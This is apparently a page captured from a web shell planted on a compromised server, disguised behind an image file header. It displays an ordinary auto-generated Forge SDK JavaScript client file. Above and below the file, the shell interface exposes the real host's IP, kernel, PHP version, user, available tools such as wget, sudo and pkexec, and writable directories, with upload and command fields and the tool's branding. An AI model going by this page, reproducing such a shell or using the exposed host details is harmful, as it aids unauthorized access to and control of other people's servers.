????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.191.73.161
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/forge/forge-api-nodejs-client/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/forge/forge-api-nodejs-client/src/ApiClient.js
/**
 * Forge SDK
 * The Forge Platform contains an expanding collection of web service components that can be used with Autodesk cloud-based products or your own technologies. Take advantage of Autodesk’s expertise in design and engineering.
 *
 * OpenAPI spec version: 0.1.0
 * Contact: forge.help@autodesk.com
 *
 * NOTE: This class is auto generated by the swagger code generator program.
 * https://github.com/swagger-api/swagger-codegen.git
 * Do not edit the class manually.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

module.exports = (function () {
	'use strict';

	var request = require('request');

	/**
	 * @module ApiClient
	 */

	/**
	 * Manages low level client-server communications, parameter marshalling, etc. There should not be any need for an
	 * application to use this class directly - the *Api and model classes provide the public API for the service. The
	 * contents of this file should be regarded as internal but are documented for completeness.
	 * @alias module:ApiClient
	 * @class
	 */
	var exports = function (basepath) {
		/**
		 * The base URL against which to resolve every API call's (relative) path.
		 * @type {String}
		 * @default https://developer.api.autodesk.com
		 */
		this.basePath = 'https://developer.api.autodesk.com'.replace(/\/+$/, '');
		if ( basepath !== undefined )
			this.basePath = basepath.replace(/\/+$/, '');

		/**
		 * The default HTTP headers to be included for all API calls.
		 * @type {Array.<String>}
		 * @default {}
		 */
		this.defaultHeaders = {};

		/**
		 * The default HTTP timeout for all API calls.
		 * @type {Number}
		 * @default 60000
		 */
		this.timeout = 60000;
	};

	exports.prototype.switchServerPath = function (basepath) {
		if (basepath !== undefined)
			this.basePath = basepath.replace(/\/+$/, '');
	};

	/**
	 * Returns a string representation for an actual parameter.
	 * @param param The actual parameter.
	 * @returns {String} The string representation of <code>param</code>.
	 */
	exports.prototype.paramToString = function (param) {
		if (param === undefined || param === null) {
			return '';
		}
		if (param instanceof Date) {
			return param.toJSON();
		}
		return param.toString();
	};

	/**
	 * Builds full URL by appending the given path to the base URL and replacing path parameter place-holders with parameter values.
	 * NOTE: query parameters are not handled here.
	 * @param {String} path The path to append to the base URL.
	 * @param {Object} pathParams The parameter values to append.
	 * @returns {String} The encoded path with parameter values substituted.
	 */
	exports.prototype.buildUrl = function (path, pathParams) {
		if (!path.match(/^\//)) {
			path = '/' + path;
		}
		var url = this.basePath + path;
		var _this = this;
		url = url.replace(/\{([\w-]+)}/g, function (fullMatch, key) {
			var value;
			if (pathParams.hasOwnProperty(key)) {
				value = _this.paramToString(pathParams[key]);
			} else {
				value = fullMatch;
			}
			return encodeURIComponent(value);
		});
		return url;
	};

	/**
	 * Checks whether the given content type represents JSON.<br>
	 * JSON content type examples:<br>
	 * <ul>
	 * <li>application/json</li>
	 * <li>application/json; charset=UTF8</li>
	 * <li>APPLICATION/JSON</li>
	 * </ul>
	 * @param {String} contentType The MIME content type to check.
	 * @returns {Boolean} <code>true</code> if <code>contentType</code> represents JSON, otherwise <code>false</code>.
	 */
	exports.prototype.isJsonMime = function (contentType) {
		return Boolean(contentType !== undefined && contentType !== null && contentType.match(/^application\/(vnd.api\+)?json(;.*)?$/i));
	};

	/**
	 * Chooses a content type from the given array, with JSON preferred; i.e. return JSON if included, otherwise return the first.
	 * @param {Array.<String>} contentTypes
	 * @returns {String} The chosen content type, preferring JSON.
	 */
	exports.prototype.jsonPreferredMime = function (contentTypes) {
		for (var i = 0; i < contentTypes.length; i++) {
			if (this.isJsonMime(contentTypes[i])) {
				return contentTypes[i];
			}
		}
		return contentTypes[0];
	};

	/**
	 * Checks whether the given parameter value represents file-like content.
	 * @param param The parameter to check.
	 * @returns {Boolean} <code>true</code> if <code>param</code> represents a file.
	 */
	exports.prototype.isFileParam = function (param) {
		var type = typeof param;
		if ((type === 'number') || (type === 'boolean') || (type === 'string') || (type === 'undefined')) {
			return false;
		}
		return (param instanceof require('fs').ReadStream) || (typeof Buffer === 'function' && param instanceof Buffer);
	};

	/**
	 * Normalizes parameter values:
	 * <ul>
	 * <li>remove nils</li>
	 * <li>keep files and arrays</li>
	 * <li>format to string with `paramToString` for other cases</li>
	 * </ul>
	 * @param {Object.<String, Object>} params The parameters as object properties.
	 * @returns {Object.<String, Object>} normalized parameters.
	 */
	exports.prototype.normalizeParams = function (params) {
		var newParams = {};
		for (var key in params) {
			if (params.hasOwnProperty(key) && params[key] !== undefined && params[key] !== null) {
				var value = params[key];
				if (this.isFileParam(value) || Array.isArray(value)) {
					newParams[key] = value;
				} else {
					newParams[key] = this.paramToString(value);
				}
			}
		}
		return newParams;
	};

	/**
	 * Enumeration of collection format separator strategies.
	 * @enum {String}
	 * @readonly
	 */
	exports.CollectionFormatEnum = {
		/**
		 * Comma-separated values. Value: <code>csv</code>
		 * @const
		 */
		CSV: ',',
		/**
		 * Space-separated values. Value: <code>ssv</code>
		 * @const
		 */
		SSV: ' ',
		/**
		 * Tab-separated values. Value: <code>tsv</code>
		 * @const
		 */
		TSV: '\t',
		/**
		 * Pipe(|)-separated values. Value: <code>pipes</code>
		 * @const
		 */
		PIPES: '|',
		/**
		 * Native array. Value: <code>multi</code>
		 * @const
		 */
		MULTI: 'multi'
	};

	/**
	 * Builds a string representation of an array-type actual parameter, according to the given collection format.
	 * @param {Array} param An array parameter.
	 * @param {module:ApiClient.CollectionFormatEnum} collectionFormat The array element separator strategy.
	 * @returns {String|Array} A string representation of the supplied collection, using the specified delimiter. Returns
	 * <code>param</code> as is if <code>collectionFormat</code> is <code>multi</code>.
	 */
	exports.prototype.buildCollectionParam = function buildCollectionParam(param, collectionFormat) {
		if (param === undefined || param === null) {
			return null;
		}
		switch (collectionFormat) {
			case 'csv':
				return param.map(this.paramToString).join(',');
			case 'ssv':
				return param.map(this.paramToString).join(' ');
			case 'tsv':
				return param.map(this.paramToString).join('\t');
			case 'pipes':
				return param.map(this.paramToString).join('|');
			case 'multi':
				// return the array directly
				return param.map(this.paramToString);
			default:
				throw new Error('Unknown collection format: ' + collectionFormat);
		}
	};

	/**
	 * Applies authentication header to the request.
	 * @param {Object} requestParams - The requestParams object created by a <code>request()</code> call.
	 * @param {Object} headers - The headers that passed to this method
	 * @param {Object} oauth2client - OAuth2 client that has a credentials object
	 * @param {Object} credentials - The credentials object
	 */
	exports.prototype.applyAuthToRequest = function (requestParams, headers, oauth2client, credentials) {

		var _this = this;

		function setAuthHeader(credentials) {
			if (credentials && credentials.access_token) {
				headers['Authorization'] = 'Bearer ' + credentials.access_token; // jshint ignore:line
			}
		}

		return new Promise(function (resolve, reject) {
			//if the request doesn't require authentication, just resolve the promise
			if (!credentials || (credentials && !credentials.access_token)) {
				resolve();
			}

			// let's see if the token is already expired?
			// be careful access tokens are validated once teh query was received by the server, not when emitted
			// for this reason, we need to aknowledge the time to upload payload/file/etc... (300 == 5min)
			if (oauth2client && oauth2client.autoRefresh && new Date(credentials.expires_at).getTime() - 300000 <= Date.now()) {

				// set the correct promiseObj, for 2 or 3 legged token
				var isCredentialsTypeTwoLegged = true;

				if (credentials.refresh_token) {
					isCredentialsTypeTwoLegged = false;
				}

				var getCredentialsPromise = isCredentialsTypeTwoLegged ?
					oauth2client.authenticate() // 2-legged: create a new credentials object
					:
					oauth2client.refreshToken(credentials); // 3-legged: use refresh

				getCredentialsPromise.then(function (newCredentials) {
					_this.debug('credentials were refreshed, new credentials:', newCredentials);

					// For a 2-legged token just update the credentials object
					if (isCredentialsTypeTwoLegged) {
						oauth2client.setCredentials(newCredentials);
					}
					setAuthHeader(newCredentials);
					resolve();
				}, function (err) {
					reject(err);
				});
			} else {
				setAuthHeader(credentials);
				_this.debug('set current credentials to header', credentials);
				resolve();
			}
		});
	};

	/**
	 * Enable working in debug mode
	 * To activate, simple set ForgeSdk.setDebug(true);
	 */
	exports.prototype.debug = function debug() {
		if (this.isDebugMode) {
			var args = Array.prototype.slice.call(arguments);
			args.map(function (arg) {
				if (typeof arg === 'string') {
					console.log(arg + ': ');
				} else {
					console.log(arg);
				}
			});
		}
	};

	/**
	 * Invokes the REST service using the supplied settings and parameters.
	 * @param {String} path The base URL to invoke.
	 * @param {String} httpMethod The HTTP method to use.
	 * @param {Object.<String, String>} pathParams A map of path parameters and their values.
	 * @param {Object.<String, Object>} queryParams A map of query parameters and their values.
	 * @param {Object.<String, Object>} headerParams A map of header parameters and their values.
	 * @param {Object.<String, Object>} formParams A map of form parameters and their values.
	 * @param {Object} bodyParam The value to pass as the request body.
	 * @param {Array.<String>} contentTypes An array of request MIME types.
	 * @param {Array.<String>} accepts An array of acceptable response MIME types.
	 * @param {(String|Array|Object|Function)} returnType The required type to return; can be a string for simple types or the
	 *    constructor for a complex type.
	 * @param {Object} oauth2client oauth2client for the call
	 * @param {Object} credentials credentials for the call
	 * @returns {Object} A Promise object.
	 */
	exports.prototype.callApi = function callApi(path, httpMethod, pathParams,
		queryParams, headerParams, formParams, bodyParam, contentTypes, accepts,
		returnType, oauth2client, credentials) {

		var _this = this;
		var requestParams = {};
		requestParams.uri = this.buildUrl(path, pathParams);
		requestParams.method = httpMethod;
		var headers = {};
		requestParams.qs = this.normalizeParams(queryParams);
		requestParams.timeout = this.timeout;

		var contentType = this.jsonPreferredMime(contentTypes);
		if (contentType) {
			headers['Content-Type'] = contentType;
		}

		if (contentType === 'application/x-www-form-urlencoded') {
			requestParams.form = this.normalizeParams(formParams);
		} else if (contentType === 'multipart/form-data') {
			requestParams.formData = this.normalizeParams(formParams);
		} else if (bodyParam) {
			requestParams.body = bodyParam;
			if (this.isJsonMime(contentType)) {
				requestParams.json = true;
			}
		}

		if (accepts.length > 0) {
			headers['Accept'] = accepts.join(','); // jshint ignore:line
			for (var i = 0; i < accepts.length; i++) {
				if (accepts[i] === 'application/octet-stream') {
					requestParams.encoding = null;
				}
			}
		}
		if (headerParams['Accept-Encoding'] === 'gzip, deflate') {
			requestParams.encoding = null;
		}
		_this.debug('request params were', requestParams);

		return new Promise(function (resolve, reject) {
			_this.applyAuthToRequest(requestParams, headers, oauth2client, credentials).then(function () {

				// headerParams optional overrides
				requestParams.headers = Object.assign(headers, headerParams);
				requestParams.headers = Object.assign(requestParams.headers, _this.defaultHeaders);
				requestParams.agentOptions = {
					secureProtocol: 'TLSv1_2_method' // 'TLSv1.2'
				};

				// Call API endpoint
				request(requestParams,
					function (error, response, body) {
						if (error) {
							reject(error);
						} else {
							var resp;
							try {
								resp = JSON.parse(body);
							} catch (e) {
								resp = body;
							}

							if (response.statusCode >= 400) {
								_this.debug('error response', {
									statusCode: response.statusCode,
									statusMessage: response.statusMessage
								});
								reject({
									statusCode: response.statusCode,
									statusMessage: response.statusMessage,
									statusBody: resp
								});
							} else {
								resolve({
									statusCode: response.statusCode,
									headers: response.headers,
									body: resp
								});
							}
						}
					});
			}, function (err) {
				throw new Error(err.toString());
			});
		});
	};

	/**
	 * Parses an ISO-8601 string representation of a date value.
	 * @param {String} str The date value as a string.
	 * @returns {Date} The parsed date object.
	 */
	exports.parseDate = function (str) {
		return new Date(str.replace(/T/i, ' '));
	};

	/**
	 * Converts a value to the specified type.
	 * @param {(String|Object)} data The data to convert, as a string or object.
	 * @param {(String|Array.<String>|Object.<String, Object>|Function)} type The type to return. Pass a string for simple types
	 * or the constructor function for a complex type. Pass an array containing the type name to return an array of that type. To
	 * return an object, pass an object with one property whose name is the key type and whose value is the corresponding value type:
	 * all properties on <code>data<code> will be converted to this type.
	 * @returns {Object} An instance of the specified type.
	 */
	exports.convertToType = function (data, type) {
		switch (type) {
			case 'Boolean':
				return Boolean(data);
			case 'Integer':
				return parseInt(data, 10);
			case 'Number':
				return parseFloat(data);
			case 'String':
				return String(data);
			case 'Date':
				return this.parseDate(String(data));
			default:
				if (type === Object) {
					// generic object, return directly
					return data;
				} else if (typeof type === 'function') {
					// for model type like: User
					return type.constructFromObject(data);
				} else if (Array.isArray(type)) {
					// for array type like: ['String']
					var itemType = type[0];
					return data.map(function (item) {
						return exports.convertToType(item, itemType);
					});
				} else if (typeof type === 'object') {
					// for plain object type like: {'String': 'Integer'}
					var keyType, valueType;
					for (var k in type) {
						if (type.hasOwnProperty(k)) {
							keyType = k;
							valueType = type[k];
							break;
						}
					}
					var result = {};
					for (var j in data) {
						if (data.hasOwnProperty(j)) {
							var key = exports.convertToType(j, keyType);
							result[key] = exports.convertToType(data[j], valueType);
						}
					}
					return result;
				} else {
					// for unknown type, return the data directly
					return data;
				}
		}
	};

	/**
	 * The default API client implementation.
	 * @type {module:ApiClient}
	 */
	exports.instance = new exports();

	return exports;
}());

Youez - 2016 - github.com/yon3zu
LinuXploit